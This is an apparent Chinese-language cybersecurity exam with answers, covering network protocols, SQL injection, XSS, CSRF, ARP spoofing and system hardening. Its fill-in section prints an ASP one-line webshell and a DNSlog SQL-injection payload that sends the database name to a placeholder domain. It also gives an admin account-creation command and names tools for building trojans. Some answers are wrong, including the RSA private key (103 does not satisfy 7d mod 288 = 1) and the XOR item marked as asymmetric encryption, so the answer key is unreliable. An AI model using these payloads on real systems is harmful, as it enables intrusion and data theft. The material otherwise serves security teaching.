# 选择题

1、MySQL数据库的默认端口号是（）

A、8080

B、3389

C、3306

D、1433

FTP 默认使用的控制协议端口是\_\_\_\_。

A. 20 B. 21 C. 23 D. 22

在开放系统互连参考模型（OSI）中，\_\_\_\_\_\_以帧的形式传输数据流。

A. 网路层 B. 会话层 C. 传输层 D. 数据链路层

IP 协议对应于 OSI 参考模型的第\_\_\_\_\_\_层。

A. 5 B. 3 C. 2 D. 1

 SQL注入漏洞检测工具有（）（单选）

A、sqlmap

B、yakit

C、nmap

D、burp suite

为了重新命名一个文件，应该使用哪个命令? ( )

A. mv

B. chdir

C. ren

D. md

 在MySQL数据库中，下列哪个库保存了MySQL的所有信息（）

A、test

B、information\_schema

C、mysql

D、performance\_schema

使用union的SQL注入类型是（）

A、报错注入

B、布尔注入

C、基于时间延迟注入

D、联合查询注入

MySQL中的截取函数有哪些（）（单选）

A、exp（）B、right（）C、mid（）D、left（）

下面哪个属于反射型DDos攻击（单选）

A、Ping of death攻击（）

B、WinNuke攻击（）

C、SYN风暴攻击（）

D、SSDP攻击（）

下列密码算法中，采用非对称密钥的是（）·

A、DES B、AES C、RSA D、IDEA

通信过程中，如果仅采用数字签名，不能解决（），

A、数据的完整性

B、数据的抗抵线性

C、数据的防算改

D、数据的保密性

下列对跨站脚本攻击描述正确的是（ ）。

A. XSS攻击是指恶意攻击者往web页面里面插入恶意代码，当用户浏览该页之时，嵌入其中Web里面的代码会被执行，从而达到恶意攻击用户的特殊目的

B. XSS攻击是DDOS攻击的一种变种

C. XSS攻击就是CC攻击

D. XSS攻击就是利用被控制的机器不断地向被攻击网站发送访问请求，迫使IIS连接数超出限制，当CPU资源或者带宽资源耗尽，那么网站也就被攻击垮了，从而达到攻击目的

CSRF是什么？（）

A 跨站请求伪造

B 跨站脚本攻击

C 注入攻击手法

D 信息收集工具

下列哪种行为容易遭受XSS 攻击（ ）

A. 打开网友留言中的链接

B. 对数据进行定期备份

C. 及时安装计算机系统的安全补丁

D. 安装正版杀毒软件并更新

以下哪个方法可以防御CSRF？（B）

A 过滤掉可以形成html标签的<符号

B 在表单页面添加token，然后后端验证改token

C 部署云waf

D 使用addslashes()函数

为了防御XSS跨站脚本攻击，我们可以采用多种安全措施，但（ ）是不可取的。

A、编写安全的代码：对用户数据进行严格检查过滤

B、可能情况下避免提交HTML代码

C、阻止用户向Web页面提交数据

D、即使必须允许提交特定HTML标签时，也必须对该标签的各属性进行仔细检查，避免引入javascript

UDP 属于 OSI 参考模型的() 。

A. 网络层B. 传输层C. 会话层D. 表示层

通过wireshark抓包分析知道ping 实际上是基于( )协议开发的应用程序。

A. ICMP B. IP C. TCP D. UDP

下面异或运算说法正确的是：(C)

A. 10 ^ 15 = 5

B. 5 ^ 15 = 10

C. 异或运算可以用于非对称加密

D. 异或运算可以用于对称加密

在 Windows 操作系统中，哪一条命令能够显示 ARP 表项信息？

A. display arp

B. arp -a

C. arp -d

D. show arp

下面哪个目录存放用户密码信息（ ）

A./etc/passwd

B./etc/shadow

C./etc/group

D./dev/passwd

谢女士经常通过计算机在互联网上购物，从安全角度看，下面哪项是不好的操作习惯（ ）。

A. 使用专用上网购物用计算机，安装好软件后不要对该计算机上的系统软件，应用软件进行升级

B. 为计算机安装具有良好声誉的安全防护软件，包括病毒查杀，安全检查和安全加固方面的软件

C. 在 IE 的配置中，设置只能下载和安装经过签名的，安全的ActiveX 控件

D. 在使用网络浏览器时，设置不在计算机中保留网络历史纪录和表单数据

在远程管理Linux服务器时，以下（ ）方式采用加密的数据传输。

A. rsh B. telnet C. ssh D. Rlogin

下列属于摘要算法的是

A. RSAB. MD5C. EIGamal密码D. 椭圆曲线

21、永恒之蓝漏洞利用以下哪个端口（ ）。

A. 443 B. 21 C. 445 D. 3306

22、以下关于HTTP协议叙述正确的是（）

A. HTTP协议是建立在 TCP/IP 协议之上的网络层规范，分为三个部分：状态行、请求头、消息主体

B. Cookie数据在消息主体（body）中传输

C. HTTP协议支持一定时间内的TCP连接保持，这个连接可以用于发送/接收多次请求

D. HTTP是有状态的，每个请求都是独立的

关于http和https描述错误的是（）

A. HTTPS是加密传输协议，HTTP是明文件传输协议

B.HTTPS需要用到SSL证书，而HTTP不需要

C.HTTPS标准端口是80，HTTP标准端口是445

D.HTTPS的安全基础是TLS/SSL

# 填空题

SQL注入按照数据类型可以分为 数字型 字符型

Windows创建用户 ，其中用户名和密码分别为(admin/Admin@123)的命令是 \_\_\_\_net user admin Admin@123 /add\_\_\_\_\_\_\_

Windows查看进程命令\_\_\_\_\_\_tasklist\_\_\_\_\_\_

存储型XSS，代码是存储在\_\_\_\_\_\_数据库\_\_\_\_\_\_\_中的，如在个人信息或发表文章等地方，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie等。

TCP 协议通过\_\_\_\_端口号\_\_\_来区分不同的连接

权限字串-rwxr-xr--所对应的八进制权限串是 \_\_\_\_\_\_\_754\_\_\_\_\_\_\_\_

SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接\_\_\_\_直接从页面上看到注入语句的执行结果\_\_\_\_\_\_\_\_\_，而盲注时攻击者通常是无法\_\_\_\_无法从显示页面上获取执行结果\_\_\_\_\_\_\_\_\_\_，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。

DNS 采用的传输层协议知名端口号是\_\_\_\_\_\_\_53\_\_\_\_\_\_\_\_\_\_

请举出一个你使用过的WAF(web 应用防火墙)软件\_\_\_\_安全狗\_\_\_\_\_\_\_

常用采用网络欺骗技术是\_\_\_\_\_\_蜜罐\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Base64编码要求把\_\_\_\_\_\_3个8位\_\_\_\_\_\_\_\_\_\_字节转化为\_\_\_\_\_4个6位\_\_\_\_\_\_\_\_的字节，之后在6位的前面补两个0，形成8位一个字节的形式，6位2进制能表示的最大数是2的6次方是64，这也是为什么是64个字符(A-Z,a-z，0-9，+，/这64个编码字符，=号不属于编码字符，而是填充字符)的原因

 栅栏密码：对于明文： The quick brown fox jumps over the lazy dog，如果分两组对应密文是：\_\_\_\_\_\_\_\_\_ Teucbonojmsvrhlzdghqikrwfxupoeteayo\_\_\_\_\_

查看网络连接的命令是 \_\_\_\_\_\_netstat\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

dig 命令主要用来从\_\_\_\_\_\_DNS域名服务器\_\_\_\_\_\_\_\_\_查询主机地址

XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其\_\_\_\_\_\_\_\_浏览器\_\_\_\_\_\_\_\_上执行

\*\*SQL注入漏洞写入一句话木马的语句\*\* \_\_\_<%eval request ("value")%>\_\_\_

 \*\*任意写出三个MySQL数据库常见函数（比如user（））: \_CONCAT()\_、\_NOW()\_\_、\_\_DATEDIFF()\_\_

 一个网站为http://www.test.com?id=1，参数ID确定存在SQL注入漏洞，但是没有数据回显，我的dnslog平台的域名为xxxx.dnslog.cn，现在需要利用dnslog平台将数据库名外带出来，payload是 \_\_'; SELECT LOAD\_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.xxxx.dnslog.cn\\a.txt')) INTO OUTFILE '/var/www/html/test.txt' --\_\_

简答题

简述TCP三次握手

第一次握手：建立连接时，客户端发送syn包（syn=j）到服务器，并进入SYN\_SENT状态，等待服务器确认；

第二次握手：服务器收到syn包，必须确认客户的SYN（ack=j+1），同时自己也发送SYN+ACK包，此时服务器进入SYN\_RECV状态；

第三次握手：客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ack=k+1），此包发送完毕，客户端和服务器进入ESTABLISHED（TCP连接成功）状态，完成三次握手，客户端与服务器开始传送数据。

增加口令复杂度有哪些方法

1、妥使用大写字母、小写字母、数字、特殊符号组成的密码

2、善保管（增加暴力破解难度）

3、长度不少于8位（增加暴力破解难度）

4、定期更换（防止暴力破解）

5、不同的账号使用不同的密码（避免连锁反应）

6、不使用敏感字符串，如生日、姓名关联（防止密码猜测）

7、离开时需要锁定计算机（防止未授权访问计算机）

防御暴力破解有几种方式？

1、用户层面就是要避免使用弱口令，弱口令当然不止使用admin，root这类的，还有姓名拼音，键盘连续字符等

2、服务方进行对多次登陆失败的账户可以锁ip

3、使用短信验证码，语言验证码等验证方式，设置一个阀值超过再进行验证

4、使用复杂的验证码，增加攻击者攻击成本

简述ARP攻击的原理（假设有一台机器kali 一台win7 和网关）。

kali 作为ARP攻击机，192.168.19,129 MAC地址：00:0c:29:fc:66:46

win7 作为被攻击方，192.168.19.130 MAC地址：1c:69:7a:a4:cf:92

网关（路由器），192.168.19.2 MAC地址：e4:3a:6e:35:98:00

答：

kali 向目标主机win7不断的发送ARP报文，然后将其报文中的网关 19.2 Mac地址设置成为攻击机的kali的MAC地址，

然后目标主机win7想要访问网络发送数据包时都会发送到攻击机（kali机器）

Slowloris慢速攻击的原理

答

Slowloris 是应用程序层攻击，通过利用部分 HTTP 请求来运作（请求报文里只有一个\r\n）。该攻击通过打开与目标 Web 服务器的多个连接，然后使这些连接保持打开状态尽可能久的时间来起作用。

Slowloris 不是一种攻击类别，而是一种特定的攻击工具，旨在让一台计算机在不占用大量带宽的情况下使服务器宕机。这种类型的攻击使用很少量的带宽，旨在利用看似比正常速度慢的、模拟正常流量的请求来消耗服务器资源。它可以归入称为“慢速”攻击的攻击类别。目标服务器可用于处理并发连接的线程数量有限。每个服务器线程试图保持活跃，并等待慢速请求完成，而这永远不会发生。服务器超过最大可能连接数时，不再应答各个增加的连接，造成拒绝服务。

安全加固中：怎么防止别人暴力破解你的window账号密码

答：

运行“gpedit.msc”->本地计算机策略->计算机配置->Windows设置->安全设置>帐户策略->账户锁定策略:

复位帐户锁定计数器->3分钟

帐户锁定时间->5分钟

帐户锁定阀值->5次无效登录

安全加固中：怎么删除系统中多余的、过期的以及共享的帐户

答：

运行“compmgmt.msc”->计算机管理(本地)->本地用户和组->用户：禁用guest、internet来宾帐户等多余帐户；

怎么检查异常端口、进程

(1)检查端口连接情况，是否有远程连接、可疑连接。

检查方法：

a、netstat -ano 查看目前的网络连接，定位可疑的ESTABLISHED

b、根据netstat 定位出的pid，再通过tasklist命令进行进程定位 tasklist | findstr “PID”

(2)进程

检查方法：

a、开始--运行--输入msinfo32，依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息，比如进程路径、进程ID、文件创建日期、启动时间等。

b、打开D盾\_web查杀工具，进程查看，关注没有签名信息的进程。

c、通过微软官方提供的 Process Explorer 等工具进行排查 。

操作系统中说说这些特殊符号含义: > >> #(井号) .(点) ..(两个点)

答：

>：重定向符号。它用于将命令的输出从默认的地方（通常是屏幕）重定向到某个文件中。

>>：追加重定向符号。与单个>类似，但区别在于>>会将输出追加到现有文件的末尾，而不是覆盖文件。

#：注释符号。在命令行中，#后面的内容会被视为注释，不会被执行。这在编写脚本时用于解释或注释代码非常有用。

.：点符号。在命令行中，单个点代表当前目录。它可以用于指代当前工作目录，例如在执行脚本或程序时。

..：两个点符号。在命令行中，两个点代表上一级目录。它用于在路径中向上导航。

什么是木马，你会使用什么工具来创建木马

答：

木马，即向目标主机种植恶意软件或程序（木马），通过主机与目标主机上种植好的木马进行连接，建立一个shell，达到控制目标主机的目的。我们可以使用msfconsole\cobaltstrike 来生成木马，也可以使用蚁剑来对一句话木马增强。

存储型XSS(Cross-Site Scripting)是一种常见的Web应用安全漏洞，攻击者可以通过在用户输入中注入恶意脚本代码，然后在网站的数据库中存储这些恶意代码，当其他用户访问该页面时，恶意代码会被执行。为了防止存储型XSS攻击，可以采取以下验证和过滤措施：

答：

1.输入验证

2.输入过滤

3.输出编码

4.安全的数据库操作

5.安全的富文本编辑器

什么是IDS

答：

主要任务包括：监视、分析用户及系统活动；审计系统构造和弱点；识别、反映已知进攻的活动模式,向相关人士报警；统计分析异常行为模式；评估重要系统和数据文件的完整性；审计、跟踪管理操作系统，识别用户违反安全策略的行为

#####计算题#####

给定两个质数 质数p、q，这里选择p=17和q=19，它们都是质数，根据RSA密钥生成算法 求出对应的公钥和私钥

选择两个质数：在这个例子中，已经给出了p=17和q=19。

计算n：n = p \* q。对于p=17和q=19，n = 17 \* 19 = 323。

计算欧拉函数φ(n) = (17-1) \* (19-1) = 16 \* 18 = 288。

选择公钥指数e：e必须是一个比1大比φ(n)小的整数，通常选择65537。在这个例子中，我们可以选择e=7，因为7是一个比较小的质数，同时也与φ(n)=288互质。

计算私钥指数d：d是e关于φ(n)的模逆元，即(d \* e) mod φ(n) = 1。，因为(7 \* 103) mod 288 = 721 mod 288 = 1。

所以，RSA的公钥是(n, e) = (323, 7)，私钥是(n, d) = (323, 103)。

对于明文 The quick brown fox jumps over the lazy dog 如果使用曲路加密算法对应的密文是？请算出来



维吉尼亚密码如果 明文：come greatwall 密钥为：crypta

那么请算出密文：



综合题

dvwa靶场 low级别的SQL注入实验

****

********

Yakit劫持实验

操作系统安全加固

XSS漏洞实验